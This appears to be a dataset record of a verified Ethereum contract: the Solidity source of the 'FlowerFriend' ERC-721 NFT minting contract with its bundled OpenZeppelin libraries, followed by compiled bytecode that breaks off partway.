[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,605
0x956a316aA74b489cCf26b4be79F80183f31B39C0
// SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract FlowerFriend is ERC721, Ownable { constructor() ERC721("FlowerFriend", "FLWRFRIEND") {} uint256 public constant MINT_PRICE = .0225 ether; uint256 public MAX_TOKENS = 5555; uint256 public MAX_FREE = 555; uint256 public minted = 0; uint256 public free = 0; bool public onSale = false; string public baseTokenURI = "ipfs://QmT2nZ7VpPnzNJQNUus4U4sxFCc4fmwRZfLA8KEzZXDFhs/"; function mint(uint256 amount) external payable { require(onSale, "Minting not live"); require(minted + amount <= MAX_TOKENS, "All tokens minted"); require(amount > 0 && amount <= 10, "Invalid mint amount"); require(amount * MINT_PRICE == msg.value, "Invalid payment amount"); for (uint i = 0; i < amount; i++) { minted++; _mint(msg.sender, minted); } } function mintFree(uint256 amount) external { require(onSale, "Minting not live"); require(minted + amount <= MAX_TOKENS, "All tokens minted"); require(free + amount <= MAX_FREE, "All free tokens minted"); require(amount > 0 && amount <= 5, "Invalid mint amount"); free = free + amount; for (uint i = 0; i < amount; i++) { minted++; _mint(msg.sender, minted); } } function changeOnSale() external onlyOwner(){ onSale = !onSale; } function setBaseURI(string calldata _uri) external onlyOwner(){ baseTokenURI = _uri; } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function totalSupply() public view returns (uint256){ return minted; } //Utilities function withdrawAll() external onlyOwner() { require(payable(msg.sender).send(address(this).balance)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101c25760003560e01c8063853828b6116100f7578063c002d23d11610095578063ed6661c211610064578063ed6661c214610621578063f2fde38b1461064c578063f47c84c514610675578063fc8bce51146106a0576101c2565b8063c002d23d14610551578063c87b56dd1461057c578063d547cfb7146105b9578063e985e9c5146105e4576101c2565b8063a0712d68116100d1578063a0712d68146104ba578063a22cb465146104d6578063a4146733146104ff578063b88d4fde14610528576101c2565b8063853828b61461044d5780638da5cb5b1461046457806395d89b411461048f576101c2565b8063326687b91161016457806355f804b31161013e57806355f804b3146103935780636352211e146103bc57806370a08231146103f9578063715018a614610436576101c2565b8063326687b91461031457806342842e0e1461033f5780634f02c42014610368576101c2565b8063095ea7b3116101a0578063095ea7b31461026c5780631370128e1461029557806318160ddd146102c057806323b872dd146102eb576101c2565b806301ffc9a7146101c757806306fdde0314610204578063081812fc1461022f575b600080fd5b3480156101d357600080fd5b506101ee60048036038101906101e991906125f2565b6106b7565b6040516101fb9190612b00565b60405180910390f35b34801561021057600080fd5b50610219610799565b6040516102269190612b1b565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190612699565b61082b565b6040516102639190612a99565b60405180910390f35b34801561027857600080fd5b50610293600480360381019061028e91906125b2565b6108b0565b005b3480156102a157600080fd5b506102aa6109c8565b6040516102b79190612ddd565b60405180910390f35b3480156102cc57600080fd5b506102d56109ce565b6040516102e29190612ddd565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d919061249c565b6109d8565b005b34801561032057600080fd5b50610329610a38565b6040516103369190612b00565b60405180910390f35b34801561034b57600080fd5b506103666004803603810190610361919061249c565b610a4b565b005b34801561037457600080fd5b5061037d610a6b565b60405161038a9190612ddd565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b5919061264c565b610a71565b005b3480156103c857600080fd5b506103e360048036038101906103de9190612699565b610b03565b6040516103f09190612a99565b60405180910390f35b34801561040557600080fd5b50610420600480360381019061041b919061242f565b610bb5565b60405161042d9190612ddd565b60405180910390f35b34801561044257600080fd5b5061044b610c6d565b005b34801561045957600080fd5b50610462610cf5565b005b34801561047057600080fd5b50610479610db1565b6040516104869190612a99565b60405180910390f35b34801561049b57600080fd5b506104a4610ddb565b6040516104b19190612b1b565b60405180910390f35b6104d460048036038101906104cf9190612699565b610e6d565b005b3480156104e257600080fd5b506104fd60048036038101906104f89190612572565b610ff8565b005b34801561050b57600080fd5b5061052660048036038101906105219190612699565b61100e565b005b34801561053457600080fd5b5061054f600480360381019061054a91906124ef565b6111ab565b005b34801561055d57600080fd5b5061056661120d565b6040516105739190612ddd565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e9190612699565b611218565b6040516105b09190612b1b565b60405180910390f35b3480156105c557600080fd5b506105ce6112bf565b6040516105db9190612b1b565b60405180910390f35b3480156105f057600080fd5b5061060b6004803603810190610606919061245c565b61134d565b6040516106189190612b00565b60405180910390f35b34801561062d57600080fd5b506106366113e1565b6040516106439190612ddd565b60405180910390f35b34801561065857600080fd5b50610673600480360381019061066e919061242f565b6113e7565b005b34801561068157600080fd5b5061068a6114df565b6040516106979190612ddd565b60405180910390f35b3480156106ac57600080fd5b506106b56114e5565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061078257507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061079257506107918261158d565b5b9050919050565b6060600080546107a89061305c565b80601f01602080910402602001604051908101604052809291908181526020018280546107d49061305c565b80156108215780601f106107f657610100808354040283529160200191610821565b820191906000526020600020905b81548152906001019060200180831161080457829003601f168201915b5050505050905090565b6000610836826115f7565b610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90612cdd565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006108bb82610b03565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561092c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092390612d7d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661094b611663565b73ffffffffffffffffffffffffffffffffffffffff16148061097a575061097981610974611663565b61134d565b5b6109b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b090612c5d565b60405180910390fd5b6109c3838361166b565b505050565b600a5481565b6000600954905090565b6109e96109e3611663565b82611724565b610a28576040517f08c379a0